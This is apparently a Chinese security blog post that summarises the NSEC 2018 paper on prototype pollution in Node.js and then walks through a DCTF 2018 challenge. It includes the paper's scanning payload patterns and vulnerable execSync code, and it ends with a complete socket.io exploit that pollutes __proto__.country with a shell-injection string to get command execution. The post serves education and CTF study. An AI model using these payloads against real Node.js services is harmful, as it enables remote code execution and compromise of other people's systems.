小白带你读论文 & Prototype pollution attack in NodeJS

一叶飘零 Web安全 2019年12月15日发布
Favorite收藏

导语:本篇paper来自于 NSEC 2018 :Prototype pollution attack in NodeJS application,写summary的原因因为本篇文章介绍的攻击点和实际问题密切相关,同时在CTF各大比赛中经常出现。

前言

本篇paper来自于 NSEC 2018 :Prototype pollution attack in NodeJS application,写summary的原因因为本篇文章介绍的攻击点和实际问题密切相关,同时在CTF各大比赛中经常出现。

背景知识

为了介绍什么是原型链污染漏洞,我们得先有一些前置知识,首先观察一段代码:

a={};
a.__proto__.test2 = '456';
b={};
console.log(a.test2);
console.log(b.test2);
b.__proto__.test2 = '789';
console.log(a.test2);
console.log(b.test2);

我们定义一个a对象,并对其进行赋值:

a.__proto__.test2 = '456';

我们再定义一个b对象,但此时发现,如果我们输出:

console.log(a.test2);
console.log(b.test2);

此时得到的结果是:

456
456

那么为什么b对象会有test2这个属性的value呢?

2019-12-07-14-09-41.png

这是因为我们有等价关系:

a.__proto__ == Object.prototype

那么此时,如果我们调用b.test2,其因为获取不到,就会往父类中查找,因此找到了Object.prototype.test2。

因此我们调用b.test2,可以获取到456这个值。

我们再看一个简单的例子:

2019-12-07-20-58-40.png

我们构造了类的继承关系:

在使用a.testA的时候:

1.在testC类里查找testA属性

2.在testC的父类里查找testA属性

3.在testC的"爷"类里查找testA属性

故此可以正常调用到testA属性。

对于testB、testC属性也是同理。

原型链污染漏洞

为了了解原型链污染漏洞,我们看如下代码:

2019-12-07-14-39-25.png

假设我们控制evil.__proto__,那就等同于可以修改testClass类的prototype,那么即可篡改SecClass中的url属性值。

那么在后续所有调用该属性的位置,都会产生相应的影响。

漏洞评估

作者的数据集定于npm的所有库,但是由于代码量巨大,传统的静态分析并不适用,于是作者使用了动态测试方法,对受影响的库进行验证:

* 使用npm安装需要测试的库
* 将库引入文件
* 递归列举库中所有可调用的函数
* 对于每一个函数
    * 对于每一个函数进行原型链污染测试input
    * 检验是否产生影响,若产生,则标注漏洞点,并清除影响

代码已开源在github:

https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/find-vuln/find-vuln.js

简单分析代码可知,作者首先申明了一个对象,对象中有属性名为:_proto_。

如果经过库中函数处理,该属性成为原型,那么说明出现了原型链污染问题:

作者列举了多种pattern:

var pattern = [{
fnct : function (totest) {
totest(BAD_JSON);
},
sig: "function (BAD_JSON)"
},{
fnct : function (totest) {
totest(BAD_JSON, {});
},
sig: "function (BAD_JSON, {})"
},{
fnct : function (totest) {
totest({}, BAD_JSON);
},
sig: "function ({}, BAD_JSON)"
},{
fnct : function (totest) {
totest(BAD_JSON, BAD_JSON);
},
sig: "function (BAD_JSON, BAD_JSON)"
},{
fnct : function (totest) {
totest({}, {}, BAD_JSON);
},
sig: "function ({}, {}, BAD_JSON)"
},{
fnct : function (totest) {
totest({}, {}, {}, BAD_JSON);
},
sig: "function ({}, {}, {}, BAD_JSON)"
},{
fnct : function (totest) {
totest({}, "__proto__.test", "123");
},
sig: "function ({}, BAD_PATH, VALUE)"
},{
fnct : function (totest) {
totest({}, "__proto__[test]", "123");
},
sig: "function ({}, BAD_PATH, VALUE)"
},{
fnct : function (totest) {
totest("__proto__.test", "123");
},
sig: "function (BAD_PATH, VALUE)"
},{
fnct : function (totest) {
totest("__proto__[test]", "123");
},
sig: "function (BAD_PATH, VALUE)"
},{
fnct : function (totest) {
totest({}, "__proto__", "test", "123");
},
sig: "function ({}, BAD_STRING, BAD_STRING, VALUE)"
},{
fnct : function (totest) {
totest("__proto__", "test", "123");
},
sig: "function (BAD_STRING, BAD_STRING, VALUE)"
}]

然后对一个库中所有函数进行测试,再进行检测:

function check() {
if ({}.test == "123" || {}.test == 123) {
delete Object.prototype.test;
return true;
}
return false;
}

作者经过测试,得到了许多受原型链污染影响的库:

2019-12-07-11-18-38.png

其中不乏我们经常在ctf中遇到的lodash……

2019-12-07-11-19-10.png

而后,作者选取了几个典例进行分析。

拒绝服务攻击

例如代码中的第12行,存在漏洞点,其使用了lodash的merge,导致我们可以污染req对象,由于返回结果依赖于这个对象。那么如果攻击者input如下exp,每一条请求都将返回500:

2019-12-07-11-20-11.png

For-loop污染

例如如下代码,我们可以进行原型污染,这样commands在下一次遍历时,就会遍历到我们加入的恶意值,进行任意命令执行。

2019-12-07-11-20-29.png

Property injection

由于NodeJS的http模块拥有多个同名header,我们可以对cookie进行污染,那么request.headers.cookie将变为我们的污染值,那么每一个访问者都会共享同一个cookie:

2019-12-07-11-20-58.png

CTF中的应用

看完了作者介绍的原型链污染攻击,我们来看一下其在CTF中的简单应用。

题目: https://chat.dctfq18.def.camp 

源码:https://dctf.def.camp/dctf-18-quals-81249812/chat.zip

我们下载源码后,首先审计服务端代码:

看到在help.js中有如下高危代码:

    getAscii: function(message) {
        var e = require('child_process');
        return e.execSync("cowsay '" + message + "'").toString();
    }

如果我们可控message,那么即可进行rce,例如:

2019-12-07-22-25-40.png

于是在server.js中寻找调用点:

    client.on('join', function(channel) {
        try {
            clientManager.joinChannel(client, channel);
            sendMessageToClient(client,"Server", 
                "You joined channel", channel)
            var u = clientManager.getUsername(client);
            var c = clientManager.getCountry(client);
            sendMessageToChannel(channel,"Server", 
                helper.getAscii("User " + u + " living in " + c + " joined channel"))
        } catch(e) { console.log(e); client.disconnect() }
    });
    client.on('leave', function(channel) {
        try {
            client .join(channel);
            clientManager.leaveChannel(client, channel);
            sendMessageToClient(client,"Server", 
                "You left channel", channel)
            var u = clientManager.getUsername(client);
            var c = clientManager.getCountry(client);
            sendMessageToChannel(channel, "Server", 
                helper.getAscii("User " + u + " living in " + c + " left channel"))
        } catch(e) { console.log(e); client.disconnect() }
    });

可以发现在join和leave用相应的调用:

    var u = clientManager.getUsername(client);
    var c = clientManager.getCountry(client);
    sendMessageToChannel(channel,"Server", 
        helper.getAscii("User " + u + " living in " + c + " joined channel"))

那么如果可控u和c,那么即可进行命令拼接,而u对于name,c对应country,对于name参数:

validUser: function(inp) {
        var block = ["source","port","font","country",
                     "location","status","lastname"];
        if(typeof inp !== 'object') {
            return false;
        } 
        var keys = Object.keys( inp);
        for(var i = 0; i< keys.length; i++) {
            key = keys[i];
            
            if(block.indexOf(key) !== -1) {
                return false;
            }
        }
        var r =/^[a-z0-9]+$/gi;
        if(inp.name === undefined || !r.test(inp.name)) {
            return false;
        }
        return true;
    }

我们发现我们被进行了大量过滤,很难直接进行任意命令执行,于是我们开始思考如何改变country的值,那么便容易想到使用原型链污染,在父类对象中加入country属性的值,进行污染。

那么我们可以从register进行输入:

 client.on('register', function(inUser) {
        try {
            newUser = helper.clone(JSON.parse(inUser))
            if(!helper.validUser(newUser)) {
                sendMessageToClient(client,"Server", 
                    'Invalid settings.')
                return client.disconnect();
            } 
            var keys = Object.keys(defaultSettings);
            for (var i = 0; i < keys.length; ++i) {
                if(newUser[keys[i]] === undefined) {
                    newUser[keys[i]] = defaultSettings[keys[i]]
                }
            } 
            if (!clientManager.isUserAvailable(newUser.name)) {
                sendMessageToClient(client,"Server", 
                    newUser.name + ' is not available')
                return client.disconnect(); 
            }
         
            clientManager.registerClient(client, newUser)
            return sendMessageToClient(client,"Server", 
                newUser.name + ' registered')
        } catch(e) { console.log(e); client.disconnect() }
    });

我们发现存在原型链污染漏洞点:

newUser = helper.clone(JSON.parse(inUser))

我们可以利用这里的clone,进行污染,达成目的。

构造如下exp:

const io = require('socket.io-client')
const socket = io.connect('http://0.0.0.0:10000')
socket.on('error', function (err) {
    console.log('received socket error:')
    console.log(err)
})
socket.on('message', function(msg) {
    console.log(msg.from,"[", msg.channel!==undefined?msg.channel:'Default',"]", "says:\n", msg.message);
});
socket.emit('register', `{"name":"xxx", "__proto__":{"country":"xxx';ls -al;echo 'xxx"}}`);
socket.emit('message', JSON.stringify({ msg: "hello" }));
socket.emit('join', 'xxx');

2019-12-07-22-57-41.png

后记

Prototype pollution attack还是一个比较有趣的攻击点,下次可以结合一些题目和CVE再做一些深入的了解。

本文为 一叶飘零 原创稿件,授权嘶吼独家发布,如若转载,请注明原文地址: https://beta.4hou.com/web/22002.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论